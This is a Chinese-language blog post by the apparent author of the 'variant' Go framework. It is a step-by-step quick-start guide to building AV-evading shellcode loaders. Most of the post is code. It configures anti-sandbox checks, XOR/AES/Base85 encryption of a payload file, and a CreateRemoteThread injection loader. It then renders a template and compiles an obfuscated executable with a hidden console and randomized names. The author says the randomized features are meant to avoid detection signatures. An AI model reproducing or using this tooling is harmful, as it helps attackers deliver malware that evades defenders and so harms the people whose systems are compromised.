摸大大的?,不用干活真好
闲聊几句
项目的Star不涨,原来是使用门槛有点高(我之前寻思着用的人少,才不会被标记特征么),但是好像框架本来就是以随机特征的思想编写的,有点尴尬哈哈。
被催更了,那就来写一个开箱即食说明吧
开箱即食说明
案例:https://github.com/C1ph3rX13/variant/blob/main/demo/Base/main.go
初始化
Git Clone 项目之后要进行初始化,初始化需要本地事先预装Golang环境,配置好代理(有些库需要访问Github)
在项目根目录(不要有中文),运行 https://github.com/C1ph3rX13/variant/blob/main/initialize.bat
运行initialize.bat,会自动配置依赖,卡住或者失败都是大概率网络问题
推荐将项目导入Goland中使用,当然VScode也行
反沙箱模块 (可选)
根据demo代码,先设置反沙箱模块
// 反沙箱模块
sandbox := render.SandBox{
Methods: []string{
"sandbox.BootTime",
"sandbox.GetDesktopFiles",
}}
反沙箱的函数,在 sandbox 文件夹下找,挑选一个你喜欢的就好。当然 IDE也会提示你,输入 sandbox. 就能看到IDE提示的所有反沙箱函数
压缩模块 (可选,但不推荐)
这个模块主要是对加密后的ShellCode进行压缩,但由于压缩算法的特征可能会被某些沙箱标记,加上压缩后文件的熵值上升比较大,所以不推荐。
建议直接删除或者注释掉
// 压缩算法模块
compressor := render.Compressor{
Import: "variant/compress",
Algorithm: "compress.LzwDecompress",
Ratio: 8,
}
加密模块 (必选)
// 设置加密参数
params := enc.Payload{
PlainText: "render/templates/payload.bin",
FileName: rand.RStrings(),
Path: "output",
Key: rand.LByteStrings(16),
IV: rand.LByteStrings(16),
}
// 加密之后的 shellcode
payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
if err != nil {
log.Fatal(err)
}
payload, _ = compress.LzwCompress([]byte(payload), 8) // 推荐删掉,不使用压缩模块
local := render.Local{
Payload: payload,
KeyName: rand.RStrings(),
KeyValue: string(params.Key),
IvName: rand.RStrings(),
IvValue: string(params.IV),
}
loader := render.Loader{
Method: "loader.CreateRemoteThreadHalos",
}
加密模块需要根据实际情况设置:
设置加密参数
// 设置加密参数
params := enc.Payload{
PlainText: "render/templates/payload.bin", // 设置 payload 所在位置,不知道相对路径可以设置绝对路径
FileName: rand.RStrings(), // 无需修改
Path: "output", // 设置 输出模板文件 所在位置,不知道相对路径可以设置绝对路径
Key: rand.LByteStrings(16), // 无需修改,但可以根据加密的类型修改
IV: rand.LByteStrings(16), // 无需修改,但可以根据加密的类型修改
}
加密ShellCode
加密方法的选择:导入IDE后,输入 crypto. 即可得到提示,或者到 crypto 文件夹查看
// 加密之后的 shellcode
payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
if err != nil {
log.Fatal(err)
}
本地加载
不需要进行任何改动,有其他需要再改
local := render.Local{
Payload: payload,
KeyName: rand.RStrings(),
KeyValue: string(params.Key),
IvName: rand.RStrings(),
IvValue: string(params.IV),
}
选择加载器
加载器的选择:导入IDE后,输入 loader. 即可得到提示,或者到 loader 文件夹查看
一般加载器函数只有一个形参,只接收ShellCode就可以了
loader := render.Loader{
Method: "loader.CreateRemoteThreadHalos",
}
模板渲染
只需要加解密的函数配置即可,例如:crypto.XorAesHexBase85Encrypt 对应crypto.XorAesHexBase85Decrypt,一般加密和解密函数会在同一个文件中
// 定义模板渲染数据
data := render.Data{
CipherText: rand.RStrings(),
PlainText: rand.RStrings(),
DecryptMethod: "crypto.XorAesHexBase85Decrypt", // 用什么加密,就需要配置对应的解密函数
Loader: loader,
Local: local,
SandBox: sandbox,
}
编译
未特别注释的不需要改动,设置编译输出文件夹即可,或者直接在项目根目录设置output文件夹,就不要改动代码了
// 设置模板的渲染参数
tOpts := render.TmplOpts{
TmplFile: "render/templates/v4/Base.tmpl", // 不需要改动
OutputDir: "output", // 编译输出文件夹,可以修改任意路径
OutputGoName: fmt.Sprintf("%s.go", rand.RStrings()),
Data: data,
}
// 生成模板
err = render.TmplRender(tOpts)
if err != nil {
log.Fatal(err)
}
// 编译参数
cOpts := build.CompileOpts{
GoFileName: tOpts.OutputGoName,
ExeFileName: fmt.Sprintf("%s.exe", strings.TrimSuffix(tOpts.OutputGoName, ".go")),
HideConsole: true,
CompilePath: "output",
BuildMode: "pie",
Literals: true,
GSeed: true,
Tiny: true,
}
// 编译
if err = cOpts.GoCompile(); err != nil {
log.Fatal(err)
}
直接 run,有报错截图在项目提issue即可
开箱即食用完整代码 特别简化版
package main
import (
"fmt"
"strings"
"variant/build"
"variant/compress"
"variant/crypto"
"variant/enc"
"variant/log"
"variant/rand"
"variant/render"
)
func main() {
// 反沙箱模块
sandbox := render.SandBox{
Methods: []string{
"sandbox.BootTime",
"sandbox.GetDesktopFiles",
}}
// 设置加密参数
params := enc.Payload{
PlainText: "render/templates/payload.bin",
FileName: rand.RStrings(),
Path: "output",
Key: rand.LByteStrings(16),
IV: rand.LByteStrings(16),
}
// 加密之后的 shellcode
payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
if err != nil {
log.Fatal(err)
}
local := render.Local{
Payload: payload,
KeyName: rand.RStrings(),
KeyValue: string(params.Key),
IvName: rand.RStrings(),
IvValue: string(params.IV),
}
loader := render.Loader{
Method: "loader.CreateRemoteThreadHalos",
}
// 定义模板渲染数据
data := render.Data{
CipherText: rand.RStrings(),
PlainText: rand.RStrings(),
DecryptMethod: "crypto.XorAesHexBase85Decrypt",
Loader: loader,
Local: local,
SandBox: sandbox,
Compressor: compressor,
//Args: args,
}
// 设置模板的渲染参数
tOpts := render.TmplOpts{
TmplFile: "render/templates/v4/Base.tmpl",
OutputDir: "output",
OutputGoName: fmt.Sprintf("%s.go", rand.RStrings()),
Data: data,
}
// 生成模板
err = render.TmplRender(tOpts)
if err != nil {
log.Fatal(err)
}
// 编译参数
cOpts := build.CompileOpts{
GoFileName: tOpts.OutputGoName,
ExeFileName: fmt.Sprintf("%s.exe", strings.TrimSuffix(tOpts.OutputGoName, ".go")),
HideConsole: true,
CompilePath: "output",
BuildMode: "pie",
Literals: true,
GSeed: true,
Tiny: true,
}
// 编译
if err = cOpts.GoCompile(); err != nil {
log.Fatal(err)
}
}
总结
其实项目很多功能都可以在 demo 文件夹中得到,只需要把函数名更换一下即可。
请登录后查看评论内容